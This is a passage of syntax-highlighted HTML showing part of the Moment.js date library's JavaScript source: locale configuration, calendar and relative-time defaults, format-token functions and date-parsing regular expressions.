&#123;</span><br><span class="line">                    res[prop] = &#123;&#125;;</span><br><span class="line">                    <span class="title function_">extend</span>(res[prop], parentConfig[prop]);</span><br><span class="line">                    <span class="title function_">extend</span>(res[prop], childConfig[prop]);</span><br><span class="line">                &#125; <span class="keyword">else</span> <span class="keyword">if</span> (childConfig[prop] != <span class="literal">null</span>) &#123;</span><br><span class="line">                    res[prop] = childConfig[prop];</span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    <span class="keyword">delete</span> res[prop];</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">for</span> (prop <span class="keyword">in</span> parentConfig) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_">hasOwnProp</span>(parentConfig, prop) &amp;&amp;</span><br><span class="line">                !<span class="title function_">hasOwnProp</span>(childConfig, prop) &amp;&amp;</span><br><span class="line">                <span class="title function_">isObject</span>(parentConfig[prop])) &#123;</span><br><span class="line">                <span class="comment">// make sure changes to properties don&#x27;t modify parent config</span></span><br><span class="line">                res[prop] = <span class="title function_">extend</span>(&#123;&#125;, res[prop]);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> res;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">Locale</span>(<span class="params">config</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (config != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="variable language_">this</span>.<span class="title function_">set</span>(config);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> keys;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="title class_">Object</span>.<span class="property">keys</span>) &#123;</span><br><span class="line">        keys = <span class="title class_">Object</span>.<span class="property">keys</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        keys = <span class="keyword">function</span> (<span class="params">obj</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> i, res = [];</span><br><span class="line">            <span class="keyword">for</span> (i <span class="keyword">in</span> obj) &#123;</span><br><span class="line">                <span class="keyword">if</span> (<span class="title function_">hasOwnProp</span>(obj, i)) &#123;</span><br><span class="line">                    res.<span class="title function_">push</span>(i);</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> res;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultCalendar = &#123;</span><br><span class="line">        <span class="attr">sameDay</span>: <span class="string">&#x27;[Today at] LT&#x27;</span>,</span><br><span class="line">        <span class="attr">nextDay</span>: <span class="string">&#x27;[Tomorrow at] LT&#x27;</span>,</span><br><span class="line">        <span class="attr">nextWeek</span>: <span class="string">&#x27;dddd [at] LT&#x27;</span>,</span><br><span class="line">        <span class="attr">lastDay</span>: <span class="string">&#x27;[Yesterday at] LT&#x27;</span>,</span><br><span class="line">        <span class="attr">lastWeek</span>: <span class="string">&#x27;[Last] dddd [at] LT&#x27;</span>,</span><br><span class="line">        <span class="attr">sameElse</span>: <span class="string">&#x27;L&#x27;</span></span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">calendar</span>(<span class="params">key, mom, now</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> output = <span class="variable language_">this</span>.<span class="property">_calendar</span>[key] || <span class="variable language_">this</span>.<span class="property">_calendar</span>[<span class="string">&#x27;sameElse&#x27;</span>];</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">isFunction</span>(output) ? output.<span class="title function_">call</span>(mom, now) : output;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultLongDateFormat = &#123;</span><br><span class="line">        <span class="attr">LTS</span>: <span class="string">&#x27;h:mm:ss A&#x27;</span>,</span><br><span class="line">        <span class="attr">LT</span>: <span class="string">&#x27;h:mm A&#x27;</span>,</span><br><span class="line">        <span class="attr">L</span>: <span class="string">&#x27;MM/DD/YYYY&#x27;</span>,</span><br><span class="line">        <span class="attr">LL</span>: <span class="string">&#x27;MMMM D, YYYY&#x27;</span>,</span><br><span class="line">        <span class="attr">LLL</span>: <span class="string">&#x27;MMMM D, YYYY h:mm A&#x27;</span>,</span><br><span class="line">        <span class="attr">LLLL</span>: <span class="string">&#x27;dddd, MMMM D, YYYY h:mm A&#x27;</span></span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">longDateFormat</span>(<span class="params">key</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> format = <span class="variable language_">this</span>.<span class="property">_longDateFormat</span>[key],</span><br><span class="line">            formatUpper = <span class="variable language_">this</span>.<span class="property">_longDateFormat</span>[key.<span class="title function_">toUpperCase</span>()];</span><br><span class="line"></span><br><span class="line">        <span class="keyword">if</span> (format || !formatUpper) &#123;</span><br><span class="line">            <span class="keyword">return</span> format;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="variable language_">this</span>.<span class="property">_longDateFormat</span>[key] = formatUpper.<span class="title function_">replace</span>(<span class="regexp">/MMMM|MM|DD|dddd/g</span>, <span class="keyword">function</span> (<span class="params">val</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> val.<span class="title function_">slice</span>(<span class="number">1</span>);</span><br><span class="line">        &#125;);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_longDateFormat</span>[key];</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultInvalidDate = <span class="string">&#x27;Invalid date&#x27;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">invalidDate</span>(<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_invalidDate</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultOrdinal = <span class="string">&#x27;%d&#x27;</span>;</span><br><span class="line">    <span class="keyword">var</span> defaultDayOfMonthOrdinalParse = <span class="regexp">/\d&#123;1,2&#125;/</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">ordinal</span>(<span class="params">number</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="property">_ordinal</span>.<span class="title function_">replace</span>(<span class="string">&#x27;%d&#x27;</span>, number);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> defaultRelativeTime = &#123;</span><br><span class="line">        <span class="attr">future</span>: <span class="string">&#x27;in %s&#x27;</span>,</span><br><span class="line">        <span class="attr">past</span>: <span class="string">&#x27;%s ago&#x27;</span>,</span><br><span class="line">        <span class="attr">s</span>: <span class="string">&#x27;a few seconds&#x27;</span>,</span><br><span class="line">        <span class="attr">ss</span>: <span class="string">&#x27;%d seconds&#x27;</span>,</span><br><span class="line">        <span class="attr">m</span>: <span class="string">&#x27;a minute&#x27;</span>,</span><br><span class="line">        <span class="attr">mm</span>: <span class="string">&#x27;%d minutes&#x27;</span>,</span><br><span class="line">        <span class="attr">h</span>: <span class="string">&#x27;an hour&#x27;</span>,</span><br><span class="line">        <span class="attr">hh</span>: <span class="string">&#x27;%d hours&#x27;</span>,</span><br><span class="line">        <span class="attr">d</span>: <span class="string">&#x27;a day&#x27;</span>,</span><br><span class="line">        <span class="attr">dd</span>: <span class="string">&#x27;%d days&#x27;</span>,</span><br><span class="line">        <span class="attr">M</span>: <span class="string">&#x27;a month&#x27;</span>,</span><br><span class="line">        <span class="attr">MM</span>: <span class="string">&#x27;%d months&#x27;</span>,</span><br><span class="line">        <span class="attr">y</span>: <span class="string">&#x27;a year&#x27;</span>,</span><br><span class="line">        <span class="attr">yy</span>: <span class="string">&#x27;%d years&#x27;</span></span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">relativeTime</span>(<span class="params">number, withoutSuffix, string, isFuture</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> output = <span class="variable language_">this</span>.<span class="property">_relativeTime</span>[string];</span><br><span class="line">        <span class="keyword">return</span> (<span class="title function_">isFunction</span>(output)) ?</span><br><span class="line">            <span class="title function_">output</span>(number, withoutSuffix, string, isFuture) :</span><br><span class="line">            output.<span class="title function_">replace</span>(<span class="regexp">/%d/i</span>, number);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">pastFuture</span>(<span class="params">diff, output</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> format = <span class="variable language_">this</span>.<span class="property">_relativeTime</span>[diff &gt; <span class="number">0</span> ? <span class="string">&#x27;future&#x27;</span> : <span class="string">&#x27;past&#x27;</span>];</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">isFunction</span>(format) ? <span class="title function_">format</span>(output) : format.<span class="title function_">replace</span>(<span class="regexp">/%s/i</span>, output);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> aliases = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">addUnitAlias</span>(<span class="params">unit, shorthand</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> lowerCase = unit.<span class="title function_">toLowerCase</span>();</span><br><span class="line">        aliases[lowerCase] = aliases[lowerCase + <span class="string">&#x27;s&#x27;</span>] = aliases[shorthand] = unit;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">normalizeUnits</span>(<span class="params">units</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">typeof</span> units === <span class="string">&#x27;string&#x27;</span> ? aliases[units] || aliases[units.<span class="title function_">toLowerCase</span>()] : <span class="literal">undefined</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">normalizeObjectUnits</span>(<span class="params">inputObject</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> normalizedInput = &#123;&#125;,</span><br><span class="line">            normalizedProp,</span><br><span class="line">            prop;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (prop <span class="keyword">in</span> inputObject) &#123;</span><br><span class="line">            <span class="keyword">if</span> (<span class="title function_">hasOwnProp</span>(inputObject, prop)) &#123;</span><br><span class="line">                normalizedProp = <span class="title function_">normalizeUnits</span>(prop);</span><br><span class="line">                <span class="keyword">if</span> (normalizedProp) &#123;</span><br><span class="line">                    normalizedInput[normalizedProp] = inputObject[prop];</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> normalizedInput;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> priorities = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">addUnitPriority</span>(<span class="params">unit, priority</span>) &#123;</span><br><span class="line">        priorities[unit] = priority;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getPrioritizedUnits</span>(<span class="params">unitsObj</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> units = [];</span><br><span class="line">        <span class="keyword">for</span> (<span class="keyword">var</span> u <span class="keyword">in</span> unitsObj) &#123;</span><br><span class="line">            units.<span class="title function_">push</span>(&#123;</span><br><span class="line">                <span class="attr">unit</span>: u,</span><br><span class="line">                <span class="attr">priority</span>: priorities[u]</span><br><span class="line">            &#125;);</span><br><span class="line">        &#125;</span><br><span class="line">        units.<span class="title function_">sort</span>(<span class="keyword">function</span> (<span class="params">a, b</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> a.<span class="property">priority</span> - b.<span class="property">priority</span>;</span><br><span class="line">        &#125;);</span><br><span class="line">        <span class="keyword">return</span> units;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">zeroFill</span>(<span class="params">number, targetLength, forceSign</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> absNumber = <span class="string">&#x27;&#x27;</span> + <span class="title class_">Math</span>.<span class="title function_">abs</span>(number),</span><br><span class="line">            zerosToFill = targetLength - absNumber.<span class="property">length</span>,</span><br><span class="line">            sign = number &gt;= <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">return</span> (sign ? (forceSign ? <span class="string">&#x27;+&#x27;</span> : <span class="string">&#x27;&#x27;</span>) : <span class="string">&#x27;-&#x27;</span>) +</span><br><span class="line">            <span class="title class_">Math</span>.<span class="title function_">pow</span>(<span class="number">10</span>, <span class="title class_">Math</span>.<span class="title function_">max</span>(<span class="number">0</span>, zerosToFill)).<span class="title function_">toString</span>().<span class="title function_">substr</span>(<span class="number">1</span>) + absNumber;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> formattingTokens =</span><br><span class="line">        <span class="regexp">/(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S&#123;1,9&#125;|x|X|zz?|ZZ?|.)/g</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> localFormattingTokens = <span class="regexp">/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l&#123;1,4&#125;)/g</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> formatFunctions = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> formatTokenFunctions = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// token:    &#x27;M&#x27;</span></span><br><span class="line">    <span class="comment">// padded:   [&#x27;MM&#x27;, 2]</span></span><br><span class="line">    <span class="comment">// ordinal:  &#x27;Mo&#x27;</span></span><br><span class="line">    <span class="comment">// callback: function () &#123; this.month() + 1 &#125;</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">addFormatToken</span>(<span class="params">token, padded, ordinal, callback</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> func = callback;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">typeof</span> callback === <span class="string">&#x27;string&#x27;</span>) &#123;</span><br><span class="line">            func = <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>[callback]();</span><br><span class="line">            &#125;;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (token) &#123;</span><br><span class="line">            formatTokenFunctions[token] = func;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (padded) &#123;</span><br><span class="line">            formatTokenFunctions[padded[<span class="number">0</span>]] = <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="title function_">zeroFill</span>(func.<span class="title function_">apply</span>(<span class="variable language_">this</span>, <span class="variable language_">arguments</span>), padded[<span class="number">1</span>], padded[<span class="number">2</span>]);</span><br><span class="line">            &#125;;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (ordinal) &#123;</span><br><span class="line">            formatTokenFunctions[ordinal] = <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">localeData</span>().<span class="title function_">ordinal</span>(func.<span class="title function_">apply</span>(<span class="variable language_">this</span>, <span class="variable language_">arguments</span>), token);</span><br><span class="line">            &#125;;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">removeFormattingTokens</span>(<span class="params">input</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (input.<span class="title function_">match</span>(<span class="regexp">/\[[\s\S]/</span>)) &#123;</span><br><span class="line">            <span class="keyword">return</span> input.<span class="title function_">replace</span>(<span class="regexp">/^\[|\]$/g</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> input.<span class="title function_">replace</span>(<span class="regexp">/\\/g</span>, <span class="string">&#x27;&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">makeFormatFunction</span>(<span class="params">format</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> array = format.<span class="title function_">match</span>(formattingTokens),</span><br><span class="line">            i, length;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>, length = array.<span class="property">length</span>; i &lt; length; i++) &#123;</span><br><span class="line">            <span class="keyword">if</span> (formatTokenFunctions[array[i]]) &#123;</span><br><span class="line">                array[i] = formatTokenFunctions[array[i]];</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                array[i] = <span class="title function_">removeFormattingTokens</span>(array[i]);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> <span class="keyword">function</span> (<span class="params">mom</span>) &#123;</span><br><span class="line">            <span class="keyword">var</span> output = <span class="string">&#x27;&#x27;</span>,</span><br><span class="line">                i;</span><br><span class="line">            <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; length; i++) &#123;</span><br><span class="line">                output += <span class="title function_">isFunction</span>(array[i]) ? array[i].<span class="title function_">call</span>(mom, format) : array[i];</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">return</span> output;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// format date using native date object</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">formatMoment</span>(<span class="params">m, format</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!m.<span class="title function_">isValid</span>()) &#123;</span><br><span class="line">            <span class="keyword">return</span> m.<span class="title function_">localeData</span>().<span class="title function_">invalidDate</span>();</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        format = <span class="title function_">expandFormat</span>(format, m.<span class="title function_">localeData</span>());</span><br><span class="line">        formatFunctions[format] = formatFunctions[format] || <span class="title function_">makeFormatFunction</span>(format);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> formatFunctions[format](m);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">expandFormat</span>(<span class="params">format, locale</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> i = <span class="number">5</span>;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">function</span> <span class="title function_">replaceLongDateFormatTokens</span>(<span class="params">input</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> locale.<span class="title function_">longDateFormat</span>(input) || input;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        localFormattingTokens.<span class="property">lastIndex</span> = <span class="number">0</span>;</span><br><span class="line">        <span class="keyword">while</span> (i &gt;= <span class="number">0</span> &amp;&amp; localFormattingTokens.<span class="title function_">test</span>(format)) &#123;</span><br><span class="line">            format = format.<span class="title function_">replace</span>(localFormattingTokens, replaceLongDateFormatTokens);</span><br><span class="line">            localFormattingTokens.<span class="property">lastIndex</span> = <span class="number">0</span>;</span><br><span class="line">            i -= <span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> format;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> match1 = <span class="regexp">/\d/</span>; <span class="comment">//       0 - 9</span></span><br><span class="line">    <span class="keyword">var</span> match2 = <span class="regexp">/\d\d/</span>; <span class="comment">//      00 - 99</span></span><br><span class="line">    <span class="keyword">var</span> match3 = <span class="regexp">/\d&#123;3&#125;/</span>; <span class="comment">//     000 - 999</span></span><br><span class="line">    <span class="keyword">var</span> match4 = <span class="regexp">/\d&#123;4&#125;/</span>; <span class="comment">//    0000 - 9999</span></span><br><span class="line">    <span class="keyword">var</span> match6 = <span class="regexp">/[+-]?\d&#123;6&#125;/</span>; <span class="comment">// -999999 - 999999</span></span><br><span class="line">    <span class="keyword">var</span> match1to2 = <span class="regexp">/\d\d?/</span>; <span class="comment">//       0 - 99</span></span><br><span class="line">    <span class="keyword">var</span> match3to4 = <span class="regexp">/\d\d\d\d?/</span>; <span class="comment">//     999 - 9999</span></span><br><span class="line">    <span class="keyword">var</span> match5to6 = <span class="regexp">/\d\d\d\d\d\d?/</span>; <span class="comment">//   99999 - 999999</span></span><br><span class="line">    <span class="keyword">var</span> match1to3 = <span class="regexp">/\d&#123;1,3&#125;/</span>; <span class="comment">//       0 - 999</span></span><br><span class="line">    <span class="keyword">var</span> match1to4 = <span class="regexp">/\d&#123;1,4&#125;/</span>; <span class="comment">//       0 - 9999</span></span><br><span class="line">    <span class="keyword">var</span> match1to6 = <span class="regexp">/[+-]?\d&#123;1,6&#125;/</span>; <span class="comment">// -999999 - 999999</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> matchUnsigned = <span class="regexp">/\d+/</span>; <span class="comment">//       0 - inf</span></span><br><span class="line">    <span class="keyword">var</span> matchSigned = <span class="regexp">/[+-]?\d+/</span>; <span class="comment">//    -inf - inf</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> matchOffset = <span class="regexp">/Z|[+-]\d\d:?\d\d/gi</span>; <span class="comment">// +00:00 -00:00 +0000 -0000 or Z</span></span><br><span class="line">    <span class="keyword">var</span> matchShortOffset = <span class="regexp">/Z|[+-]\d\d(?::?\d\d)?/gi</span>; <span class="comment">// +00 -00 +00:00 -00:00 +0000 -0000 or Z</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> matchTimestamp = <span class="regexp">/[+-]?\d+(\.\d&#123;1,3&#125;)?/</span>; <span class="comment">// 123456789 123456789.123</span></span><br><span class="line"></span><br><span class="line">    <span class="comment">// any word (or two) characters or numbers including two/three word month in arabic.</span></span><br><span class="line">    <span class="comment">// includes scottish gaelic two word and hyphenated months</span></span><br><span class="line">    <span class="keyword">var</span> matchWord =</span><br><span class="line">        <span class="regexp">/[0-9]&#123;0,256&#125;[&#x27;a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]&#123;1,256&#125;|[\u0600-\u06FF\/]&#123;1,256&#125;(\s*?[\u0600-\u06FF]&#123;1,256&#125;)&#123;1,2&#125;/i</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> regexes = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">addRegexToken</span>(<span class="params">token, regex, strictRegex</span>) &#123;</span><br><span class="line">        regexes[token] = <span class="title function_">isFunction</span>(regex) ? regex : <span class="keyword">function</span> (<span class="params">isStrict, localeData</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> (isStrict &amp;&amp; strictRegex) ? strictRegex : regex;</span><br><span class="line">        &#125;;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">getParseRegexForToken</span>(<span class="params">token, config</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (!<span class="title function_">hasOwnProp</span>(regexes, token)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="keyword">new</span> <span class="title class_">RegExp</span>(<span class="title function_">unescapeFormat</span>(token));</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> regexes[token](config.<span class="property">_strict</span>, config.<span class="property">_locale</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// Code from http://stackoverflow.com/questions/3561493/is-there-a-regexp-escape-function-in-javascript</span></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">unescapeFormat</span>(<span class="params">s</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="title function_">regexEscape</span>(s.<span class="title function_">replace</span>(<span class="string">&#x27;\\&#x27;</span>, <span class="string">&#x27;&#x27;</span>).<span class="title function_">replace</span>(<span class="regexp">/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g</span>, <span class="keyword">function</span> (<span class="params"></span></span><br><span class="line"><span class="params">            matched, p1, p2, p3, p4</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> p1 || p2 || p3 || p4;</span><br><span class="line">        &#125;));</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">regexEscape</span>(<span class="params">s</span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> s.<span class="title function_">replace</span>(<span class="regexp">/[-\/\\^$*+?.()|[\]&#123;&#125;]/g</span>, <span class="string">&#x27;\\$&amp;&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> tokens = &#123;&#125;;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">addParseToken</span>(<span class="params">token, callback</span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> i, func = callback;</span><br><span class="line">        <span class="keyword">if</span> (<span class="keyword">typeof</span> token === <span class="string">&#x27;string&#x27;</span>) &#123;</span><br><span class="line">            token = [token];</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">if</span> (<span class="title function_">isNumber</span>(callback)) &#123;</span><br><span class="line">            func = <span class="keyword">function</span> (<span class="params">input, array</span>) &#123;</span><br><span class="line">                array[callback] = <span class="title function_">toInt</span>(input);</span><br><span class="line">            &#125;;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">for</span> (i = <span class="number">0</span>; i &lt; token.<span class="property">length</span>; i++) &#123;</span><br><span class="line">            tokens[token[i]] = func;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">addWeekParseToken</span>(<span class="params">token, callback</span>) &#123;</span><br><span class="line">        <span class="title function_">addParseToken</span>(token, <span class="keyword">function</span> (<span class="params">input, array, config, token</span>) &#123;</span><br><span class="line">            config.<span class="property">_w</span> = config.<span class="property">_w</span> || &#123;&#125;;</span><br><span class="line">            <span class="title function_">callback</span>(input, config.<span class="property">_w</span>, config, token);</span><br><span class="line">        &#125;);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">function</span> <span class="title function_">addTimeToArrayFromToken</span>(<span class="params">token, input, config</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span> (input != <span class="literal">null</span> &amp;&amp; <span class="title function_">hasOwnProp</span>(tokens, token)) &#123;</span><br><span class="line">            tokens[token](input, config.<span class="property">_a</span>, config, token);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">YEAR</span> = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">MONTH</span> = <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">DATE</span> = <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">HOUR</span> = <span class="number">3</span>;</span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">MINUTE</span> = <span class="number">4</span>;</span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">SECOND</span> = <span class="number">5</span>;</span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">MILLISECOND</span> = <span class="number">6</span>;</span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">WEEK</span> = <span class="number">7</span>;</span><br><span class="line">    <span class="keyword">var</span> <span class="variable constant_">WEEKDAY</span> = <span class="number">8</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// FORMATTING</span></span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="string">&#x27;Y&#x27;</span>, <span class="number">0</span>, <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">var</span> y = <span class="variable language_">this</span>.<span class="title function_">year</span>();</span><br><span class="line">        <span class="keyword">return</span> y &lt;= <span class="number">9999</span> ? <span class="string">&#x27;&#x27;</span> + y : <span class="string">&#x27;+&#x27;</span> + y;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;YY&#x27;</span>, <span class="number">2</span>], <span class="number">0</span>, <span class="keyword">function</span> (<span class="params"></span>) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="variable language_">this</span>.<span class="title function_">year</span>() % <span class="number">100</span>;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;YYYY&#x27;</span>, <span class="number">4</span>], <span class="number">0</span>, <span class="string">&#x27;year&#x27;</span>);</span><br><span class="line">    <span class="title function_">addFormatToken</span>(<span class="number">0</span>, [<span class="string">&#x27;YYYYY&#x27;</span>, <span class="number">5</span>], <span class="number">0</span>, <span 